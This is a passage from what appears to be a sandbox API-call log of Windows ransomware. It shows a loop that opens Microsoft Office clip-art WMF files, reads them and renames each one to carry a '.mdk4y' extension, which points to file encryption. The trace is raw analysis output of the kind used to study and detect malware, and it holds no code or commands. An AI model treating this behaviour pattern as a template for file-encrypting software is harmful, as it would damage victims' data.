lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2628, lpOverlapped=0x0) returned 1 [0152.100] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822733000000) returned 1 [0152.100] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822733000000) returned 1 [0152.100] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf.mdk4y")) returned 1 [0152.101] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0152.101] AreFileApisANSI () returned 1 [0152.101] GetACP () returned 0x4e4 [0152.101] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0152602.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0152602.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0152.101] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0152.102] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822733200000) returned 1 [0152.102] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1884, lpOverlapped=0x0) returned 1 [0152.107] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822733700000) returned 1 [0152.107] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822733700000) returned 1 [0152.107] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf.mdk4y")) returned 1 [0152.108] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0152.108] AreFileApisANSI () returned 1 [0152.108] GetACP () returned 0x4e4 [0152.108] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0152606.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0152606.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0152.109] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152606.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0152.111] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822734100000) returned 1 [0152.111] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x40f8, lpOverlapped=0x0) returned 1 [0152.119] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822734900000) returned 1 [0152.119] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822734900000) returned 1 [0152.119] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152606.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152606.wmf.mdk4y")) returned 1 [0152.120] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0152.120] AreFileApisANSI () returned 1 [0152.120] GetACP () returned 0x4e4 [0152.120] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0152608.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0152608.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0152.120] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0152.121] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822735100000) returned 1 [0152.121] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3094, lpOverlapped=0x0) returned 1 [0152.122] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822735200000) returned 1 [0152.122] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822735200000) returned 1 [0152.123] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf.mdk4y")) returned 1 [0152.124] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0152.125] AreFileApisANSI () returned 1 [0152.125] GetACP () returned 0x4e4 [0152.125] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0152610.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0152610.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0152.125] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0152.126] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822735600000) returned 1 [0152.126] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1748, lpOverlapped=0x0) returned 1 [0152.153] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822738300000) returned 1 [0152.153] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822738300000) returned 1 [0152.153] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf.mdk4y")) returned 1 [0152.154] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0152.154] AreFileApisANSI () returned 1 [0152.154] GetACP () returned 0x4e4 [0152.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0152622.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0152622.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0152.154] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0152.155] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822738500000) returned 1 [0152.155] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2584, lpOverlapped=0x0) returned 1 [0152.187] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822741700000) returned 1 [0152.187] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822741700000) returned 1 [0152.188] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf.mdk4y")) returned 1 [0152.189] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0152.189] AreFileApisANSI () returned 1 [0152.189] GetACP () returned 0x4e4 [0152.189] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0152626.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0152626.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0152.189] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0152.189] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822741900000) returned 1 [0152.189] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6688, lpOverlapped=0x0) returned 1 [0152.200] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822743000000) returned 1 [0152.200] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822743000000) returned 1 [0152.201] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf.mdk4y")) returned 1 [0152.201] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0152.201] AreFileApisANSI () returned 1 [0152.201] GetACP () returned 0x4e4 [0152.201] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0152628.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0152628.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0152.201] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0152.202] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822743200000) returned 1 [0152.202] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x785c, lpOverlapped=0x0) returned 1 [0152.223] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822745300000) returned 1 [0152.223] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822745300000) returned 1 [0152.223] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf.mdk4y")) returned 1 [0152.224] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0152.224] AreFileApisANSI () returned 1 [0152.224] GetACP () returned 0x4e4 [0152.224] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0152688.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0152688.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0152.225] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0152.225] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822745500000) returned 1 [0152.225] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8774, lpOverlapped=0x0) returned 1 [0152.246] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822747600000) returned 1 [0152.246] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822747600000) returned 1 [0152.249] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf.mdk4y")) returned 1 [0152.250] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0152.250] AreFileApisANSI () returned 1 [0152.250] GetACP () returned 0x4e4 [0152.250] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0152690.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0152690.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0152.250] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0152.251] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822748100000) returned 1 [0152.251] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4f4, lpOverlapped=0x0) returned 1 [0152.265] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822749500000) returned 1 [0152.265] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822749500000) returned 1 [0152.265] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf.mdk4y")) returned 1 [0152.266] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0152.266] AreFileApisANSI () returned 1 [0152.266] GetACP () returned 0x4e4 [0152.266] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0152694.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0152694.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0152.266] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0152.266] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822749600000) returned 1 [0152.266] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x544, lpOverlapped=0x0) returned 1 [0152.323] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822755300000) returned 1 [0152.323] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822755300000) returned 1 [0152.324] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf.mdk4y")) returned 1 [0152.325] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0152.325] AreFileApisANSI () returned 1 [0152.325] GetACP () returned 0x4e4 [0152.325] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0152696.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0152696.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0152.325] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0152.326] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822755600000) returned 1 [0152.326] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1c98, lpOverlapped=0x0) returned 1 [0152.349] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822757900000) returned 1 [0152.349] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822757900000) returned 1 [0152.350] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf.mdk4y")) returned 1 [0152.351] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0152.351] AreFileApisANSI () returned 1 [0152.351] GetACP () returned 0x4e4 [0152.351] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0152698.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0152698.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0152.351] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0152.351] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822758100000) returned 1 [0152.351] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4b8, lpOverlapped=0x0) returned 1 [0152.372] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822760200000) returned 1 [0152.372] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822760200000) returned 1 [0152.372] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf.mdk4y")) returned 1 [0152.373] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0152.373] AreFileApisANSI () returned 1 [0152.373] GetACP () returned 0x4e4 [0152.373] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0152702.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0152702.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0152.373] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0152.374] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822760400000) returned 1 [0152.374] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4b8, lpOverlapped=0x0) returned 1 [0152.398] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822762800000) returned 1 [0152.398] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822762800000) returned 1 [0152.398] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf.mdk4y")) returned 1 [0152.399] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0152.399] AreFileApisANSI () returned 1 [0152.399] GetACP () returned 0x4e4 [0152.399] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0152704.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0152704.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0152.399] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0152.400] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822763000000) returned 1 [0152.400] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x674, lpOverlapped=0x0) returned 1 [0152.412] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822764200000) returned 1 [0152.412] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822764200000) returned 1 [0152.412] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft 